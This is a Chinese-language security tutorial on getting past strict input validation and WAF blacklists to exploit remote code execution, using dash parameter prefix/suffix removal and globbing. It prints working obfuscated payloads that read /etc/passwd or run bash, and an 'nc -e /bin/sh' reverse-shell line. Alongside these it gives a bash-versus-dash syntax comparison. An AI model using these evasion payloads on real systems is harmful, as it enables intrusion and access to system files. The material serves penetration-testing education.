如何通过移除前缀和后缀模式绕过严格的输入验证

阅读量    394420 |

分享到: QQ空间 新浪微博 微信 QQ facebook twitter

 

写在前面的话

在这篇文章中,我们将跟大家介绍如何绕过目标Web应用程序上严格的输入验证,而这种验证机制将阻止我们向目标Web应用发送包含类似‘ ” ; : / & |字符的远程代码执行Payload

在近期的一篇文章中,我们介绍了如何使用Bash Globbing模式来绕过输入验证,其中的一种方法就是使用Bash子字符串从从环境变量值中获取特殊字符,比如说:${PATH:0:1}通常等于/。通常,Web应用程序会在不支持Bash的服务器系统上运行,但Almquist shell也会被视作是DashshDash是无法对子字符串做类似${PATH:0:1}这样的事情的,但我们可以使用另外两种分别名为“移除前缀模式”和“移除后缀模式”的功能来实现我们的目的。具体情况需要根据PATH值来进行分析,如果PATH值以/usr开头,则${PATH%%u*}就应该等于/。如果你使用的是字符串范围语句的话,那么${PATH%%[a-z]*}也应该等于/

 

关于Dash和Bash

Bash(GNU Bourne-Again Shell)是许多Linux平台的内定Shell,事实上,还有许多传统UNIX上用的Shell,像tcshcshashbshksh等等。

GNU/Linux 操作系统中的 /bin/sh 本是 bash (Bourne-Again Shell) 的符号链接,但鉴于 bash 过于复杂,有人把 bash NetBSD 移植到 Linux 并更名为 dash (Debian Almquist Shell),并建议将 /bin/sh 指向它,以获得更快的脚本执行速度。Dash Shell Bash Shell 小的多,符合POSIX标准。

DebianUbuntu中,/bin/sh默认已经指向dash,这是一个不同于bashshell,它主要是为了执行脚本而出现,而不是交互,它速度更快,但功能相比bash要少很多,语法严格遵守POSIX标准。

语法上的主要的区别有:

1.定义函数

bash: functionbash中为关键字

dash: dash中没有function这个关键字

2.select var in list; do command; done

bash:支持

dash:不支持, 替代方法:采用while+read+case来实现

3. echo {0..10}

bash:支持{n..m}展开

dash:不支持,替代方法, 采用seq外部命令

4. here string

bash:支持here string

dash:不支持, 替代方法:可采用here documents

5. >&word重定向标准输出和标准错误

bash: word为非数字时,>&word变成重定向标准错误和标准输出到文件word

dash: >&word, word不支持非数字, 替代方法: >word 2>&1; 常见用法 >/dev/null 2>&1

6. 数组

bash: 支持数组, bash4支持关联数组

dash: 不支持数组,替代方法, 采用变量名+序号来实现类似的效果

7. 子字符串扩展

bash: 支持${parameter:offset:length},${parameter:offset}

dash: 不支持, 替代方法:采用exprcut外部命令代替

8. 大小写转换

bash: 支持${parameter^pattern},${parameter^^pattern},${parameter,pattern},${parameter,,pattern}

dash: 不支持,替代方法:采用tr/sed/awk等外部命令转换

9. 进程替换<(command), >(command)

bash: 支持进程替换

dash: 不支持, 替代方法, 通过临时文件中转

10. [ string1 = string2 ] [ string1 == string2 ]

bash: 支持两者

dash: 只支持=

11. [[ 加强版test

bash: 支持[[ ]], 可实现正则匹配等强大功能

dash: 不支持[[ ]], 替代方法,采用外部命令

12. for (( expr1 ; expr2 ; expr3 )) ; do list ; done

bash: 支持C语言格式的for循环

dash: 不支持该格式的for, 替代方法,用while+$((expression))实现

13. let命令和((expression))

bash: 有内置命令let, 也支持((expression))方式

dash: 不支持,替代方法,采用$((expression))或者外部命令做计算

14. $((expression))

bash: 支持id++,id–,++id,–id这样到表达式

dash: 不支持++,–, 替代方法:id+=1,id-=1, id=id+1,id=id-1

 

移除前缀和后缀模式

简单来说,这种技术是通过在变量名中使用%%%###,可以从左或右开始删除部分变量值。让我们举几个例子:

${parameter%word}:删除最小后缀模式。参数的扩展可以生成其他参数,然后与模式匹配的后缀最小部分将会被删除。

# TEST=”foo.bar.sample”; echo ${TEST%.*}

foo.bar

${parameter%%word}:删除最大后缀模式。参数的扩展可以生成其他参数,然后与模式匹配的后缀最大部分将会被删除。

# TEST=”foo.bar.sample”; echo ${TEST%%.*}

foo

${parameter#word}:删除最小前缀模式。参数的扩展可以生成其他参数,然后与模式匹配的前缀最小部分将会被删除。

# TEST=”foo.bar.sample”; echo ${TEST#*.}

bar.sample

${parameter##word}:删除最大前缀模式。参数的扩展可以生成其他参数,然后与模式匹配的前缀最大部分将会被删除。

# TEST=”foo.bar.sample”; echo ${TEST##*.}

sample

此语法的一个用例是更改文件名列表的扩展名。例如,如果我想重命名/etc/中的所有*.conf文件,将其扩展名改为.txt,我们就可以这样做:

for file in $(ls -1 /etc/*.conf); do echo ${file%.*}.txt; done

 

输入验证

在对客户应用程序中的一个远程代码执行漏洞进行测试时,我发现了一种方法来绕过他们的输入验证。

假设Web应用程序存在远程代码执行漏洞,可以导致任意代码执行,但其中的输入验证函数可以防止带有特殊字符的Payload执行,比如说[/”‘&|()-;:.,\s\t\n`],而且还屏蔽了常见的Unix命令,比如说evalbashshncbas64等(很多Web应用防火墙都会这样做)。但是,如果Web应用程序允许${}这样的字符存在的话,那我们就有很多种方法来绕过输入验证并利用远程代码执行漏洞了。

在这种情况下,下面的Payload都将会被屏蔽:

code=cat+/etc/passwd (匹配\s/)

code=/bin/ca?+/e??/??ss?? (匹配\s/)

code=cd${IFS}/etc;cat${IFS}passwd (匹配/)

code=nc+-e+/bin/sh+10.0.0.1+1234 (匹配\s – /.)

那么,有没有可能创建一个Payload,它不需要像正斜杠、引号这样的字符,并且不会使用众所周知的Unix命令触发WAF呢?为此我专门创建了一个【Challenge】。其核心思想是从目标shell环境变量中获取特殊字符。例如,我们可以使用子字符串0:1(例如在Bash中使用${PATH:0:1})从$PATH变量中获取值。

在上面的截图中,我们使用${PATH:0:1}替换了/,并使用${PATH:0:1}连接了/etc/passwd的完整路径。但问题是,一般的PHP Shell都是Dash/bin/sh,我们是无法使用这种子字符串语句来利用远程代码执行漏洞的。

Dash中,我们可以使用“移除前缀模式”和“移除后缀模式”语句。比如说,针对目标PATH变量:

– ${PATH%%u*}应该等于 /

– ${PATH##*s????} 应该等于 /bin

– ${PATH%%[a-z]*} 应该等于 /

所以,为了获取etc/passwd内容,我使用了下列语句来绕过Web应用程序的输入验证机制:

cat${IFS}${PATH%%u*}etc${PATH%%u*}passwd

请记住:这个语句取决于目标PATH变量的值,如果/之后的第一个字母为“u”(比如说PATH=/usr/bin:…),那么${PATH%%u*}就应该为“/”。如果目标PATHPATH=/home/themiddle/bin:…开头,那么${PATH%%h*}就应该为/

现在的问题是,Payload中存在有“cat”、“etc”和“passwd”字符串,Web应用防火墙会因此屏蔽我的Payload。因此,我需要使用Globbing模式混淆我的Payload,但是我需要完整的路径来使用Globbing模式执行命令,比如/bin/c??而不是“cat”。解决方案如下:

·执行env并查看所有的变量值;

·使用${PATH##*s????}$PATH获取/bin

·使用${PATH%%u*}$PATH获取/

·使用$IFS而不是空格;

code=${PATH##*s????}${PATH%%u*}c??${IFS}${PATH%%u*}e??${PATH%%u*}??ss??

我在我的命令行终端中测试一切正常,但我们需要确保在利用目标Web应用程序中的远程代码执行漏洞时也能一切正常。首先,我们需要检测到底哪一个变量是我们可以使用的:

我们可以看到,没有进行模糊处理的Payload会被Web应用程序的输入验证机制所屏蔽掉:

所以,我首先需要绕过的是基于“特殊字符”的过滤器。正如我所说的,在这个场景下,我们可以使用${PATH%%u*}${IFS}来分别代替/和空格:

现在,我需要绕过基于常见Unix命令和路径的Web应用防火墙黑名单。正如你所看到的,我的Payloadcat${IFS}${PATH%%u*}etc${PATH%%u*}passwd被屏蔽了:

为了实现绕过,我可以使用Globbing模式来对Unix命令以及路径进行混淆处理,但我需要使用/bin/cat的完整路径来执行“cat”命令并将其模糊处理为/b??/c??。这样一来,我可以从${PATH##*s????}获取/bin

现在,我想要通过下列语句来执行/b??/c?? /e??/??ss??

${PATH##*s????}${PATH%%u*}c??${IFS}${PATH%%u*}e??${PATH%%u*}??ss??

我们还可以使用“未初始化”变量来对命令和路径进行混淆处理:

${PATH##*s????}${PATH%%u*}ca${u}t${IFS}${PATH%%u*}et${u}c${PATH%%u*}pas${u}swd

我可以通过从$PHP_CFLAGS变量的第一个字符获取“”来执行更多复杂的命令,比如说bash -c。我可以发送下列Payload来执行/bin/bash -c ls

${PATH##*s????}${PATH%%u*}bas${u}h${IFS}${PHP_CFLAGS%%f*}c${IFS}l${u}s

如果是Bash,那就更加简单了

如果出于某种原因,目标应用程序使用的是Bash,那我们就可以使用子字符串语句来更加轻松地实现绕过了。比如说,/bi?/ca? /et?/??sswd就会变成:

${PATH:0:1}bi?${PATH:0:1}ca?${IFS}${PATH:0:1}et?${PATH:0:1}??sswd

关于我发布的Challenge

第一名:

kusky3 (payload tail${IFS}${APACHE_CONFDIR%${APACHE_CONFDIR#?}}et?${APACHE_CONFDIR%${APACHE_CONFDIR#?}}pas?wd)

第二名:

Sparrrgh (payload c${a}at${IFS}${APACHE_CONFDIR%apache2}pas${s}swd)

第三名:

DrV (payload ca${jjj}t${IFS}${APACHE_RUN_DIR%???????????????}et${jjj}c${APACHE_RUN_DIR%???????????????}pas${jjj}swd)

第四名:

glauco  (payload c${u}at${IFS}${PHP_INI_DIR%%u*p}e${u}tc${PHP_INI_DIR%%u*p}p${u}asswd)

 

参考资料

1、https://medium.com/secjuice/waf-evasion-techniques-718026d693d8

2、https://www.secjuice.com/web-application-firewall-waf-evasion/

分享到: QQ空间 新浪微博 微信 QQ facebook twitter
|推荐阅读
|发表评论
|评论列表
加载更多